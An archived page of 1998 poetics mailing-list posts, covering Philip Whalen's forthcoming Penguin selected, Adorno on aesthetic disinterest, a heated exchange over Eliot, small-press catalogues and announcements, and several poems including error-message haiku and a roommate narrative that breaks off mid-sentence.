> *Jim Valvis*
> *Jim Watson-Gove*
>
> *Broadside:*
> *A tribute to Donald Rawley*
>
> *Small Press Bulletin Board*
>
> *Links*
>
> *More stuff*

↑ Index

19. **Mark Weiss**

Re: Cheering Thought And Location

Tue 1 Sep 1998

David: Get a filter screen. $40, helps a lot.

The only way I can imagine to do the study that would make sense would be to assess the mental state of a large pool of non-internet users, large enough to cancel out demographic factors, and to check back periodically as some of them for their own reasons begin to use the internet. The control group would be those who don't, the study groups would be those who use the internet for different amounts of time daily. By checking back periodically the evolution in the mental state of different user-groups, and the changes in the population of those groups, could be quantified. If the group were large enough even the deficiencies of the testing protocol would be cancelled out. But the subject population, for the study to be at all meaningful (i.e, to cancel out the other possible demographic factors in each sub-group), would have to be enormous. Hard to know who would fund such a study.

At 12:37 PM 9/1/98 -0400, you wrote:
>Hope I've got the right thread.
>Was there a control group of people spending an equal amount of time in
>front of a computer screen but not on the Internet? Perhaps the incidence
>of depression wasn't a factor of the Internet as much as of the
>electromagntic emanations from the screen. After an hour or so on the
>computer I get a headache, whether I'm on the Net or not, and that can be
>a bit depressing. It's also depressing to consider what the long-term

>effects might turn out to be!
>dwm
>"'I am not a woman! Don't you understand? I am not a woman!' Jaromil kept
>shouting after him."
>- Milan Kundera, Life Is Elsewhere.
>
>

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20. Mark Prejsnar
sprained attention in "closely matched casts"
Tue 1 Sep 1998

---

i sometimes feel a mite depressed at the "filters" folks seem to use, on the poetix list.

my main set of arguments were about attacking/critiquing commodification..The main pt. re spicer, in fact, was to draw a much broader analogical argument out of his (admittedly limited and kooky) set of ideas about how to build poetry community....

quite a few people have picked up on the idea of narrowness and in-groupness, thus neatly reversing the meaning i intended; my fault no doubt,...but i recommend a second look at the post...

mark "huffy" prejsnar

On Tue, 1 Sep 1998, r.drake wrote:

> *& in re recent threads on sticking close to one's community, geographic or virtual... glad to see this exsample of trancesending bounds, ie sheila murphy's continued prescence in many places... i fr one am encouraged by such, as a balance to slews ov mags w/ closely matched casts ov the "ususal suspects"... round 'em up, or round 'em out?*
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>
> *Broadside:*
> *A tribute to Donald Rawley*
>
> *Small Press Bulletin Board*
>
> *Links*
>
> *More stuff*

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21. David Baratier
Re: Whalen
Tue 1 Sep 1998

Anselm--

Howdy. Sean Killian told me we were on for Nov. 8th at Zinc. Is this all set up with you? Wanted to make sure.

Be well

David Baratier

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22. Poproj
Re: Whalen
Tue 1 Sep 1998

> *I heard that Penguin was going to do a Whalen collected. Does anyone know if there is any truth to this rumor?*
>
> *Burt Hatlen*

I've been made to understand that a Whalen selected will be published by Penguin, tho' I don't know exactly when, likely in the next year or two. Is truth.

↑ Index

23. Poproj
Re: Whalen
Tue 1 Sep 1998

> *I heard that Penguin was going to do a Whalen collected. Does anyone know if there is any truth to this rumor?*
>
> *Burt Hatlen*
>
> *I've been made to understand that a Whalen selected will be published by Penguin, tho' I don't know exactly when, likely in the next year or two. Is truth.*

whoops, I should add that this is Anselm Berrigan speaking, apologies for secrecy.

↑ Index

24. Peter Ganick
computer haiku
Tue 1 Sep 1998

---

*something humorous from a friend that forwards
all sorts of material to various friends
who works for the us government*

out...
peter ganick

~ ~ ~ ~ ~ ~

Imagine if, instead of incomprehensible text strings, your computer produced error messages in Haiku....

First snow, then silence.
This thousand dollar screen dies so
beautifully.

With searching comes loss
and the presence of absence:
"My novel" not found.

A file that big?
It might be very useful.
But now it is gone.

The Web site you seek
cannot be located.
But endless others exist.

Chaos reigns within
Reflect, repent, and reboot.
Order shall return.

Aborted effort.
Close all that you have.
You ask far too much.

The Tao that is seen
is not the true Tao, until
You bring fresh toner.

Windows NT crashed.
I am the Blue Screen of Death.
No one hears your screams.

Stay the patient course.
Of little worth is your ire.
The network is down.

A crash reduces
your expensive computer
to a simple stone.

Yesterday it worked.
Today it is not working.
Windows is like that.

Three things are certain:
Death, taxes, and lost data.
Guess which has occurred.

You step in the stream,
but the water has moved on.
This page is not here.

Out of memory.
We wish to hold the whole sky,
But we never will.

Having been erased,
The document you're seeking
Must now be retyped.

Rather than a beep,
Or a rude error message,
Only these words: "File not found."

Serious error.
All shortcuts have disappeared.
Screen. Mind. Both are blank.

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25. miekal and
Re: Northwest Vispo
Tue 1 Sep 1998

---

nico vassilakis wrote:
>
> An Exhibition of Northwest visual & concrete poetry
>
> Sept. 1 - 23
> opening Sept. 13th 4-6pm
>
> at The Richard Hugo House
> 1634 eleventh Ave
> Seattle, WA 98122
>
> including work by Maris Kundzins, Helen Lessick, Jim Clinefelter, Crag Hill,
> Nancy Burns, Heather McHugh, Paul Thaddeus Lambert, M.Kettner, C.C.Elian, Lex
> Loeb, Thomas Lowe Taylor, C.Bush, Dean Wynveen, Nico Vassilakis, Sloy,Brent
> Hendricks & others.
>
> curated by Nico Vassilakis

nico, youre teasing us non locals, (location rears its distant head)....is there an online version in the works?

↑ Index

26. David Baratier
Re: Whalen
Tue 1 Sep 1998

Oops. As long as I'm at it could Valerie Fox Backchannel me. It's been an interesting start of the week here including the visit of a writer friend from NYC (see below..

CHICAGO (Reuters) - 'Titanic' videos fly off store shelves. The most successful movie ever, seemed on its way Tuesday to becoming the most successful home video ever, as "Titanic" fans across the United States stayed up late and waited in line to be among the first owners of the video. "Titanic" videos went on sale at 12:01a.m. in each time zone across the U.S. and indications from early sales suggested "Titanic" could top Walt Disney Co.'s "The Lion King," which reportedly sold around 30 million copies, as the best- selling home video ever. "It's really going well," said Bob Gerhinger, Blockbuster Video's marketing manager for the Northeast. "It's exceeding all my expectations for people showing up."

COLUMBUS, Ohio (Reuters) - A riot started outside a Blockbuster video store as a result of demonstrators who were against the sale of home video copies of "Titanic". A police spokesman said a large group of people blocked the entrance to the store and were screaming chants and songs against the movies mis-representation of history. Shortly before the store was re-opened at 12:01a.m. to sell the video, the group started burning copies of a large assortment of books they had brought to the scene, including Joseph Conrad's "Twix Land and Sea." The police, who are still investigating this matter, said "it seems impossible that there would be a group of over thirty people outside the store igniting books without a single bystander providing a lead to the perpetrators." Nothing is known about what the group was trying to accomplish.

SAN FRANCISCO (Reuters) - Has it come to this? A San Francisco man was hospitalized early Tuesday after an assailant pummeled him to the ground, kicked his head, and attempted to steal his new video copy of the movie blockbuster "Titanic." A police spokesman said the two men, who apparently knew each other, were both at a Blockbuster video store on the first night that "Titanic" went on sale. "The assailant punched and kicked the victim, then took the video tape," the spokesman. The 19-year-old victim was treated for an eye injury, while the assailant, aged 22, was arrested and could be charged with aggravated assault, the police spokesman said. "It looks like the Titanic video was secondary in this incident," he said. "Thank goodness - if it was the primary cause we'd all be in big trouble."

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27. david bromige

Khartoum is a location too

Tue 1 Sep 1998

I am now knowing you lengthily enough, Mr. Kent, to offer to you for wearing on your head the crown of irony, the iron crown. Although, to telling it truthfully, it only cost 2 and sixpence, so it is a half-a-crown. Half belongs also to me, the Ideal Reader. (They couldn't get Real one.) Pass it along that I interrupt

with joke, it is from my time studding in London, developing a sense of humor to protect them where you live. In addition this is, to heading up our badwriting conferencing, me for vice.

When you are going "Khartoum," I am hearing "cartoon." Location can be virtual, but keeped in mind. One must not try explanations else shot for treasoning. It is self-obvious, or it is death. And that too is only half of it. The other is caravanserai, with its musical composer, sideshows and tarts. (I know how hard they work in the bakery! I was one, once, too.) It is better for our knowledge. Dr. Kent, in this medium at one and the struck time, I love you, then I will kill you, then I will have you for dinner. Bring the wife, too.

Aren't you afraid to be frozen like this, with all your assets? Don't let me forget, I have work to do. Not for a moment. You see already since last time my English is bettering. I hate it for the tongue of supercolonialism that it is. I could have been born dialecting it, and still hate it. It reminds us all over of itself. I am not always being an intellectual. My father shoveled camel-dung, and he left me his shovel. So, I am one with the working-stiff, as if named Utah Phillips Whalen. I emptied my share of bedpans into the communal trough, and I am not even leaving in Sebastopolo when we speak. Trust noone, Mr. Kent. How hard it is to hang on to your advance. I was not born to reinvent the will, only to be perverse, I will. The pure products of the Anglo-Egyptian Sudan are schizzy. I drive Mercedes, but into tunnel. Who has done no less?

I always believed mutual admiration was a society until we met in the sense of the internet. Brothers (and by this I mean 'Sisters' into the bargaining), we have our weapons in our own hands. We should use them anytime, but you first. Beside the direction, where your brother's wife pedals her stay-in-one-place bicycle, much to admiration by myself, is not at all "spa" as you are writing but rather "workplace of weights," with many well-equipped shod yuppies and the two of us. No lolling languidly about the oasis quafficating sour mineral spring-dribblings for people who patronize what I am patronizing. We are making our own shoes next year, in the sweating of such things as foreheads, if you believe that, belief has novel rental arrangement to circumvent plaster ceiling.

It is good that we write in code, offendi, so that the over-assumed people may complicate something more sinister than the center of Helen Vendler.I try out some of you from Book of the Quotations by her Wallace Simpson: Are there those of you in other civilizations who like us call your local health food store "Food For Millionaires"? Is the national bird always the parrot? Is a question-mark shaped that way to best open door of car into where keys without intent have been remained, or baby? Would you take a can-openinger to a mosque? Is a hanging-down strip of flypaper there for the delectation of flies? Is nothing sacred, if Beckett is a saint?

Excuse my excursus into history, this also I am studding when I am getting even in London. Excuse my impressionness. Not wanting to say "All one," not wanting to say "Alone." Declining to say "Stephen Spendler." Kent, I crisp up my style like Bacon, but only in case of reception theory. I bed my hegemonies. I step out of your character. My hat tilts to the starboard of language. With my little helpful head, it comes off. Surprise! I can use exclamations! You were being warned at all the time.

Kent, to write to you is to lose my accent, like Garcia girl. Only for all is demonstrating discourse-analyzer, self-indulgence being what it is held to be. If I can keep it up, it will seem like ours. To me it was hard, but to her, requiring encourage. It will never be tender, despite what they are telling re Motel 6. Where did all these children come from? The egg hatched like a plot of cementary land. He had opportunity, which I took. Now we are being red herrings with fertilizer plant, spreading that around. In the U.S.A., Congrats has to declare hostilities. Having not done so, U.S.A. is not at war, therefore Crude missiles come from elsewhere, Israel is my favorite scrape-gut. If you are credenceing such, you are credenceing one god alone and his favorite prophet, Al-bim Franklen. Names are the icecubes of laughter, and it is hot here. I example.

Mr.Kent, are you decent from Prussian philosphe, he whose promenade citizens tied their grandfather's hands by? He of the Kentagorical Denial? He was inherited by one of our Marx brothers, don't you co-terminate, and if not, why, you may need further study (Karl when your find works). Eventually, practice make patient, Dr. Kent, and already I am making you sit too long at the well of mail in the mall of fortune. How I am wishing to look upon your shining face and grasp your hand till we gasp "Glad to be making your acquaintance!" I hope clearly that I accept. Yours in the spurt of communisty, Davood

↑ Index

28. George Bowering

Re: Ascetic aesthetics

Tue 1 Sep 1998

> "*The precondition for the autonomy of artistic experience is the abandonment of the attitude of tasting and savouring. The trajectory leading to aesthetic autonomy passes through the stage of disinterestedness*"

This is the death of language, a relentless march of abstract nouns and noun phrases.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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29. Charles Alexander
chaxlist
Tue 1 Sep 1998

Dear Poetics:

please reply to this message directly to chax press at [redacted], and not to the poetics list.

I'm probably committing a sin of posting to poetics when I actually have poetics incoming mail stopped, having recently returned from an out-of-town trip. I will start up again as soon as I catch up with other work -- or does one ever catch up?

I had to compile a pretty complete list of Chax Press publications recently for an exhibition, and I thought I'd post it to the list. I've added prices. As many of you know, we made handprinted and bound books exclusively here up to 1990, and since then have issued several more, although not at the rate we once did. You can assume that any book priced over about $15 on this list is a letterpress, handprinted and bound book. Some of the works which are listed for less money than that are hybrid forms, part computer-generated and laser or offset-printed, but with some aspects of traditional hand book arts employed in the production or binding. Please ask me if you have other questions. "OP" on this list, instead of a price, indicates that a book is out of print and unavailable.

I have included two books which are currently being printed and bound, and these are the first two on the list. I have not included other "forthcoming" books.

And right now, we've really joined the commercial world, I guess, by accepting credit card payment. So I'd like to offer anyone from the Poetics list who orders makes an order of twenty dollars or more (usually that's a minimum of two books, but three the way some of them add up) and is willing to pay by credit card, a 20% discount if they make the order during this coming week. If there's a good response, I will also consider extending that timeline.

Once again, please reply to this e-mail, or order books, directly either by emailing me at [redacted] (and not by emailing the poetics list) or by phoning [redacted]. If you want to order by credit card and take advantage of the discount, either include your credit card number and expiration date in your email, or phone it

in. As an alternative, you can send a fax with appropriate information to [redacted]. We will generally add a $2 to $5 shipping/handling charge to orders of 1 to 10 books, depending on the weight. If you order more than 10 and will accept "book rate" shipping, we will waive the shipping/handling charges.

We've had a summer here with a couple of computer glitches and one crash, and I've been trying to catch up on all previous book orders, some of which got hurt by the computer problems. So, if you think we owe you a book or two or three, please let me know that, too.

Thank you, and here's the list:

Lisa Cooper, & Calling It Home, $12 poetry, forthcoming October 1998 Phillip Foss, Chromatic Defacement, $12 poetry, forthcoming October 1998 Diane Glancy, A Primer of the Obsolete, $12 poetry 1998 Lydia Davis, Blind Date, $12 short story 1998 Lisa Cooper, Tilt Rail, $12 poetry 1998 Rae Armentrout, writing the plot about sets, $12 poetry 1998 Tenney Nathanson, One Block Over, $12 poetry 1998 Tom Raworth, Three Poems & Charles Alexander, Pushing Water (in one volume), $12 poetry 1998 Bob Perelman, The Masque of Rhyme, $10 poetry 1997 Karen Mac Cormack, The Tongue Moves Talk, $11 poetry 1997 Hank Lazer, 3 of 10, $14 poetry 1996 Tom Mandel, Prospect of Release, $12.95 poetry 1996 Myung Mi Kim, The Bounty, $12 poetry 1996 Mary Margaret Sloan, The Said Lands, Islands, and Premises, $11 poetry 1995 Kathleen Fraser, when new time folds up, $11 poetry 1993(Minneapolis) Norman Fischer, Precisely the Point Being Made, $10 poetry 1993 (Minneapolis, with O Books) Nathaniel Tarn, Caja del Rio, OP poetry 1993 Rosmarie Waldrop, Fan Poem for Deshika, $18 poetry 1993 Lisa Cooper, The Ballad in Memory, $50 poetry 1991 Nathaniel Mackey, Outlantish, $110 poetry 1992 Ron Silliman, Demo to Ink, $11 poetry 1992 Beverly Dahlen, A Reading 8-10, $12 poetry 1992 Gil Ott, Wheel, $18 poetry 1992 Eli Goldblatt, Sessions 1-62, $9 poetry 1991 Karen Mac Cormack, Quirks & Quillets, $8 poetry 1991 Susan Bee & Charles Bernstein, Fool’s Gold, OP poetry 1991 Sheila Murphy, Teth, $9 poetry 1991 bp Nichol, Art Facts: A Book of Contexts, $15 poetry 1990 Larry Evers & Felipe S. Molina, Wo’i Bwikam/Coyote Songs, $8 poetry 1990 Mei-mei Berssenbrugge, Mizu, $75 poetry 1990 Charles Alexander, Hopeful Buildings, $9.95 poetry 1990 Charles Bernstein, Four Poems, OP poetry 1988 Mei-mei Berssenbrugge, Tan Tien, OP poetry 1988 Lyn Hejinian & Kit Robinson, Individuals, $75 poetry 1988 Eli Goldblatt, Sessions, $30 poetry 1988 John Randolph Hall, Zootaxy, $25 poetry 1987 Paul Metcalf, Firebird, $50 prose/poetry 1987 (with Granary Books) Karl Young, Five Kwaidan in Sleeve Pages, OP poetry/translation 1986 Anne Kingsbury, Journal Entries, $80 prose and art 1986 Charles Alexander, Two Songs, OP poetry 1986 Paul Metcalf, Golden Delicious , OP poetry/prose

1985 Jackson Mac Low, French Sonnets, $50 poetry 1984 (last publication of Black Mesa Press, only Black Mesa publication in Tucson)

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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30. Aldon Nielsen
Re: Ascetic aesthetics
Tue 1 Sep 1998

At 04:12 PM 9/1/98 -0700, you wrote:
>>"The precondition for the autonomy of artistic experience is the
>>abandonment of the attitude of tasting and savouring. The trajectory
>>leading to aesthetic autonomy passes through the stage of
>>disinterestedness"
>
>This is the death of language, a relentless march of abstract nouns and
>noun phrases.

ref. of "this" in second sentence not immediately clear -- death of language postponed pending clarification --

↑ Index

31. A. Jenn Sondheim
Scent of No One, Scent of Jennifer
Tue 1 Sep 1998

-

Scent of No One, Scent of Jennifer

I wake, my breasts bruised, black-blue marks around the nipples. I dream, wake, there are bite marks on my neck, my legs, my throat. I turn, dream, wake, there are black hairs on my skin, marking sign and time. I shudder, turn, dream, wake, there is lipstick on my face, my cock, my legs. I shud- der, turn, dream, wake, arise, there are cigarette stubs in the sink, wan smell of liquor in the air. I shudder, turn, dream, wake, arise, mastur- bate, I feel spent before- hand, nothing emerges: It is as if I wake, my breasts bruised, black-blue marks around the nipples. It is as if I dream, wake, there are bite marks on my neck, my legs, my throat. It is as if I turn, dream, wake, there are black hairs on my skin, marking sign and time. It is as if I shudder, turn, dream, wake, there is lip- stick on my face, my cock, my legs. It is as if I shudder, turn, dream, wake,

arise, there are cigarette stubs in the sink, wan smell of liquor in the air. It is as if I shudder, turn, dream, wake, arise, masturbate, feeling spent beforehand

---

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32. michael corbin
Re: Ascetic aesthetics
Tue 1 Sep 1998

MAYHEW wrote:

> *Here is a quote from Adorno that typifies the sort of mentality I was talking about. He makes the Kant connection himself, only Kant didn't go far enough in his view:*
>
> *However, art does not come to rest in disinterestedness.*

Might suggest Diane Beddoes " Deleuze, Kant and Indifference". Different than disinterest, though, I guess.

> *It moves on. And in so doing it reproduces, in different form, the interest inherent in disinterestedness. In a false world all_ hedone_ is false. This goes for artistic pleasure, too. Art renounces happiness for the sake of happiness, thus enabling desire to survive in art."*

"Dequincey's admirable text _The Last Days of Immanuel Kant_ said everything, but only the reverse side of things that will find their full development in the four poetic formulas of Kantianism. This is the Shakespearean aspect of Kant, who begins as Hamlet and winds up as Lear, whose daughters would be the post Kantians."

from Deleuze "On Four Poetic Formulas That Might Summarize the Kantian Philosophy."

Kant is our tableaux (like marx) in our Clinton/Yeltzin (rock&roll in the free world) times, in trying, to determine, whether to annunciate or renunciate the beautiful (much less the true) (to say nothing of happiness).

So it may be easier to believe in our Masoch contractualism. Fine print pleasure. But I don't know.

mc

↑ Index

33. Juliana Spahr

new chain

Wed 2 Sep 1998

Now available
Chain 5: different languages.
6 x 9; 302 pages

This issue presents work that is written in more than one language. Some of the writers and artists represented here use different languages daily, some use them on a less regular basis, some use them to survive, some use them in the leisure of the classroom, and some use them knowing only their sounds. Regardless, we have read the move to write in more than one language as political, as a move that questions monolingualism and other homogenizing language controls. This issue argues that an aesthetic space that acknowledges the difficulties of communication and respects these difficulties can be an antidote to social spaces that demand “English first.”

Created with the help of an international team of associate editors—-Adam Aitken, Charles Bernstein, Javant Biarujia, Manuel Brito, Nicole Brossard, Norma Cole, Maria Damon, Dubravka Djuric, C. S. Giscombe, Ray Gonzalez, Georgi Gospodinov, Ernesto Livon Grosman, Lyn Hejinian, Myung Mi Kim, Walter K. Lew, Traviz Ortis, Marjorie Perloff, M. Nourbese Philip, Joan Retallack, Catherine Schieve, Ken Sherwood, Jeffrey Twitchell-Waas, Edwin Torres, and Cecilia Vicuña—-this issue features multilingual work in a wide range of languages. Includes work in Catalan, Cherokee, Chinese, Cyrillic, Czech, English, Esperanto, Finnish, French, Galician, German, Guarani, Greek, Hebrew, Hungarian, Ilocano, Japanese, Klingon, Korean, Latin, New English, Norwegian, Pig Latin, Pijin, Portugese, Quechua, Rumanian, Russian, Spanish, Tagalog, Tamazight, Taneraic, Tibetan, Tongues, Vorlin, Wurundjeri, Yiddish, Zaum, and many other languages.

Anne Waldman has called Chain “one of the best ‘outrider’ magazines, a true cultural intervention.” Since 1993, Chain has been publishing a yearly issue of work gathered loosely around a special topic. The special topic allows us to switch the editorial question that we ask each piece of work submitted from “is this a great piece of art” to “does this piece of art tell us something about the topic that we didn’t otherwise know.” This makes Chain a little rougher around the edges, a little less aesthetically predictable. Within the frame of the special topic, we tend to privilege mixed media and collaborative work and work by emerging or younger artists. Please check out our website at http://www2.hawaii.edu/~spahr/chain for more back issue information and calls for work for forthcoming issues.

$20 for two year subscription
$12 per issue

MENTION THE POETICS LIST AND PAY ONLY $10.

Chain
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1733 Donaghho Road
Honolulu, Hawai‘i 96822
[redacted] (fax)

email orders accepted
send mail to: [redacted]

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34. Orpheus

trad/Eliot

Wed 2 Sep 1998

Well Children it looks like some of those bad boys think that getting rid of Eliot and 'dusting him' and 'recontextualizing his work' in some so called counter-tradition is going to get him some prestige in certain circles of leftist type of would be readers and or even would be poets of a certain ilk that fancies themselves poets and even lovers of language. well, we all know now, don't we, that poetry changes nothing and that being a right wing christian automatically excludes one from being a poet in that nasty so-called counter tradition. And some folks feel real strongthat if ya ask a question, well geez, well Lord knows you can't possibly be asking a valid question.Well, we know that if the editor-shad said,, we wanted to publish a poem by the Possum, but the big bad publisher's can't afford it, well, geez, then we know that they would have gained the credibility of their ordinary readers and then the sympathy would have flowed totheir cause. But as it stands, we all know that hatred and resentment and jealousy and envy at the heart beat of so many bad readers and especially the left who never seem to be able to figure things out without wanting to put down a person now, do they? or dont they?afterall theyhate Possum so much just he was so successful and they're not and never ever going to be. And you think of poets like Hart Crane who spent just years trying to get out from under that Angel that Anxiety the Possum seemed to cause him. But Allan Tate and Berryman and others they did fine, and did not have to call him names. Like the lefty types do oh Dear!!! Well, you know weak poets abound in every time, and so do weak readers oh dear!! Well they are so mixed up with their american idea of peotry as democracy and Eliot was just not like that and Neither was Joyce or old Ez. I remember when he came to see your mother and he the

Possum just sat there reciting ream after ream of poetry by Auden, and Thomas and Joyce and Yeats and so many others, so many, so many. Ah! the room it just vibrated!! I remember yer mother she ran in the other room, and went found some of them there pomes from her youth by that French poet and Mister Eliot well, he just sat there with tears inhis eyes. And then he did some by Herbert, and Donne and he read us a passage of Djuna Barnes who yer aunt had known in Paris when she was working in the fashion business. and I remember when he bought our first copy of Prufrock and Other Poems. I was so thrilled. Well, you see I just dont get this stuff by the newer poets, they seem so bored and resentful.Ah, but William hewas never bored, but he was jealousof old Possum and Ezra. And you know, like some, they think CD is a professor, but that aint the case, CD is just a reader who lost her head like Orpheus did over reading too much poetry rightor wrong, left or right, and just being a poor Irish Jewish girl well shejust has such Passion from so many restless and lonesome nights of sitting up with the poetry and the words, so whyshould she be a he? when there is no poetry likethe word which vibrates through memory and desire. Well if anyone ever memorized a poem, it would not be the Waste Land now would it? It sure as tarnation hell would not be a poem by a rambling shuffling sufi american poet who only went from one book to another complaing and hating about the sorrows ofhis people and expecting others tounderstand them. Shall I dare to eat a spoon and spit the dead words of the counter-tradition up your asshole and make you eat them from assuming something about a stranger, and all them elitists making eyes to kill your voice and love of poetry and poets dead and alive. alive like the dead and dead like the alive. Ah! but you see, dear, even here they hate the gender which speaks a lingo unlike their own, and they cannot help it, half of them are losers who will be forgotten in the night of the darkness coming at them soon. Ah, yes of course they were good poems in that silly book, but then what happened to Jack Spicer, and what happened to so many others, et tant d'autres et tant d'autres. We dont know do we, we never shall until we are dead. Well I dont suppose Derek Walcott cares to have his verse besides mister ginsberg's whose ear for rhyme was a carpenter's dream, inother words flat flat flat. Oh well, what can ya do? Eat your heart out and go back to Villon, if I find oneof their poets that can move me as much as Miriam Waddington or Dorothy Livesay, well then I will rush to their books like a fish rushing upstream. But I doubt that day will come, because I think they are burnt out, and that their ideas are so old fashioned they cant see the trees for the forest. Poetry, such a hard art, and so long to gain, and life being so short.

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35. **Mark Weiss**
Re: trad/Eliot
Wed 2 Sep 1998

What inspired this rant?

At 02:10 AM 9/2/98 -0400, you wrote:
> Well Children it looks like some of those bad boys think that
>getting rid of Eliot and 'dusting him' and 'recontextualizing his work' in
>some so called counter-tradition is going to get him some prestige in
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>being a poet in that nasty so-called counter tradition. And some folks
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>would have flowed totheir cause. But as it stands, we all know that hatred
>and resentment and jealousy and envy at the heart beat of so many bad
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>out without wanting to put down a person now, do they? or dont
>they?afterall theyhate Possum so much just he was so successful and
>they're not and never ever going to be. And you think of poets like Hart
>Crane who spent just years trying to get out from under that Angel that
>Anxiety the Possum seemed to cause him. But Allan Tate and Berryman and
>others they did fine, and did not have to call him names. Like the lefty
>types do oh Dear!!! Well, you know weak poets abound in every time, and so
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>idea of peotry as democracy and Eliot was just not like that and Neither
>was Joyce or old Ez. I remember when he came to see your mother and he the
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>Thomas and Joyce and Yeats and so many others, so many, so many. Ah! the
>room it just vibrated!! I remember yer mother she ran in the other room,
>and went found some of them there pomes from her youth by that French poet
>and Mister Eliot well, he just sat there with tears inhis eyes. And then
>he did some by Herbert, and Donne and he read us a passage of Djuna Barnes
>who yer aunt had known in Paris when she was working in the fashion
>business. and I remember when he bought our first copy of Prufrock and
>Other Poems. I was so thrilled. Well, you see I just dont get this stuff
>by the newer poets, they seem so bored and resentful.Ah, but William hewas

>never bored, but he was jealousof old Possum and Ezra.
>And you know, like some, they think CD is a professor, but that aint the
>case, CD is just a reader who lost her head like Orpheus did over reading
>too much poetry rightor wrong, left or right, and just being a poor Irish
>Jewish girl well shejust has such Passion from so many restless and
>lonesome nights of sitting up with the poetry and the words, so whyshould
>she be a he? when there is no poetry likethe word which vibrates through
>memory and desire. Well if anyone ever memorized a poem, it would not be
>the Waste Land now would it? It sure as tarnation hell would not be a poem
>by a rambling shuffling sufi american poet who only went from one book to
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>assuming something about a stranger, and all them elitists making eyes to
>kill your voice and love of poetry and poets dead and alive. alive like
>the dead and dead like the alive. Ah! but you see, dear, even here they
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>help it, half of them are losers who will be forgotten in the night of the
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>we never shall until we are dead. Well I dont suppose Derek Walcott cares
>to have his verse besides mister ginsberg's whose ear for rhyme was a
>carpenter's dream, inother words flat flat flat. Oh well, what can ya do?
>Eat your heart out and go back to Villon, if I find oneof their poets
>that can move me as much as Miriam Waddington or Dorothy Livesay, well
>then I will rush to their books like a fish rushing upstream. But I doubt
>that day will come, because I think they are burnt out, and that their
>ideas are so old fashioned they cant see the trees for the forest.
>Poetry, such a hard art, and so long to gain, and life being so short.
>
>

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36. Fredrik Hertzberg LIT

Re: Ascetic Pleasure

Wed 2 Sep 1998

Adorno also writes however: "The bourgeois want art voluptuous and life ascetic; the reverse would be better." (AT p 13) - which qualifies what was quoted earlier.

Fred

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37. Billy Little
Re: trad/Eliot
Wed 2 Sep 1998

---

talk about straw dawgs, or atomizing a dead horse, why say something in two words when you can say it in two thousand, orpheus, ha, the dead grass flattens further to hear your song, listen to eliot reading rock drill and listen to ginsberg reading kaddish then you'll know something. Just because you like something doesn't make you a good listener and someone who likes something entirely other a bad reader full of hate, monoculture champions will bring on the poet-ato famine, don't do us any favours charlie

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they un-happy, by the way?

Alice James

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38. Mark Salerno
A/10
Wed 2 Sep 1998

Arshile: A Magazine of the Arts
is pleased to announce the publication of its
Tenth Issue

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Michael Goldberg

Retail Price: $7.99. Price to List Members: $5.99. Send to: Arshile, P.O. Box 3749, Los Angeles, CA 90078. (Checks should be payable to Arshile.)

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39. Alice Notley
Phil Whalen
Wed 2 Sep 1998

Hi Anselm,

Phil Whalen SELECTED due out next April from Penguin, edited by Mike Rothenberg, with an introduction I believe by Leslie Scalapino.

Love,

Alice Notley

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40. louis stroffolino
Re: Valerie Fox
Wed 2 Sep 1998

Is Valerie Fox on this list?
If so, could you backchannel me as well....
cs....

↑ Index

41. Gary Sullivan
Where there's smoke there're mirrors
Wed 2 Sep 1998

A TRUE ACCOUNT OF TALKING MY ROOMMATE INTO BELIEVING
I'D SAID ANYTHING RELEVANT ABOUT HIS WORK WHATSOEVER

I told Chris to get over it
& put on his shirt, "Obviously,
we need more cigarettes, since
none of these women are calling
us back, what the fuck, why
even bother writing all these poems

in the first place? It took me
two days to get this one to look
like an octopus, look at it!
it's beautiful! and she won't even
kiss me anymore, let alone
leave her husband!"
"Yeah, well, Mark Wallace
wrote the most relevant post in this
whole--"
"Wallace?!?" I shrieked. We bounded
down four flights of stairs, "I don't know,"
I said, "he has a point, but it isn't
mine." Brooklyn. I pointed at the moon.
"All you
did, Gary, was juxtapose my poems
with ones I'd told you were important
to me. It's not like you did a close reading
of them."
"That wasn't the point, didn't
you get the connections I was making?"
"No,
but you can't read anything on e-mail, and
besides, it's not like those poems influenced
the ones you referred to."
"It doesn't
matter," I said, "that was my whole point.
Everything influences you all the time, like
even if you're focusing on one thing,
everything else is resident there."
"We should
look for a new chair," Chris said, reminding me
it was garbage night, "everything I own is breaking
down, I'm breaking down." He coughed,
dramatically.
We turned the corner onto 7th Ave.
At that moment I remembered that someone had
e-mailed me earlier to tell me a poem
I'd written was "indulgent." Yeah? You
live in a shithole & try to get excited about
"paring down." Jack Smith became more extravagant,
more indulgent, the worse his
living conditions. I could connect this up to Chris's

poems, easy. What's a non sequitur (his
poems are filled with them) if not the manifestation
of capitalist frustration? Like, "Look,
here's everything, you can have none of it."
The non-sequitur gives you everything,
while taking it all away. The non-sequitur
is very American.
"Nobody's gonna give a shit
about what you say anyway cuz you're my
roommate."
"Poetry is failure, Chris, we're all
failures, & beautifully so." Even after
saying it, I didn't believe it. I realized
at that moment there wasn't anything I really
believed in. I liked how the streetlights
looked, and realized I liked them because there
was no way to describe them. Accurately.
They burned coldly, above the street. So what? We
all do.

NOTES FOR FURTHER DISCUSSION: Under whose influence was this poem most likely written: Frank O'Hara, Amy Gerstler, Petronius, Sharon Mesmer, Blaise Cendrars, Michael Lally, Eileen Myles, Villon, Chris Stroffolino, Jordan Davis, Ovid, David Trinidad, Gerald Burns, Ange Mlinko, Mayakovsky, Charles Bukowski or Kenneth Koch? The poem does not seem to answer to, directly, Jacques Debrot's challenge to "uncover" in Stroffolino's work the influence of Dylan, Shakespeare, etc. Is the poet "making a statement" in his refusal to operate within the specific terms of this particular discourse and reading, or is he simply "avoiding the tough work because he's lazy from too much dairy, cigarettes and beer"? Do you find people "burn coldly" on e-mail? Why would anyone write a poem in the shape of an octopus? If the poet had put, say, a lemur on the sidewalk beneath the streetlight, would you have paid closer attention to the poem? If it can be said that Paul Eulard gives you a world only to take it away, piece by piece, is Chris Stroffolino Michael Palmer's distant cousin? Debrot has been oddly silent the last day or two. Does this speak of his tacit agreement with, or refusal to operate within, the terms of the present writer? Or simply ennui? Why hasn't the present writer brought up James Tate yet? Is he uncomfortable around goatees? Why hasn't he brought up Brautigan? Isn't the act of hyper-extended metaphor (another feature of Stroffolino's work) "Brautiganesque"? Or is this something "one finds" in Shakespeare? Why 